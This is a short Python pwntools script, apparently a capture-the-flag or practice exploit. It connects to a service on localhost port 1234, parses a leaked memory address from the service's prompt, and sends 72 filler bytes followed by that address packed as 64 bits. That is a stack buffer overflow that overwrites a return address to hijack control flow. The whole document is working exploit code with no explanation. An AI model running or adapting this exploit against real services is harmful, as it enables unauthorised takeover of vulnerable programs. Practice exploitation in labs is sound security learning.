from pwn import *
#context.log_level=True

if __name__ == "__main__":
    bufferSize = 72
    filler = 'a' * bufferSize
    r  = remote('localhost', 1234)
    address = r.recvuntil(">")
    address2 = address.split(":")[1]
    address2 = address2.strip("\n>")
    address2 = p64(int(address2, 16))
    payload = filler + address2
    print address + payload
    r.sendline(payload)
    print r.recvline()
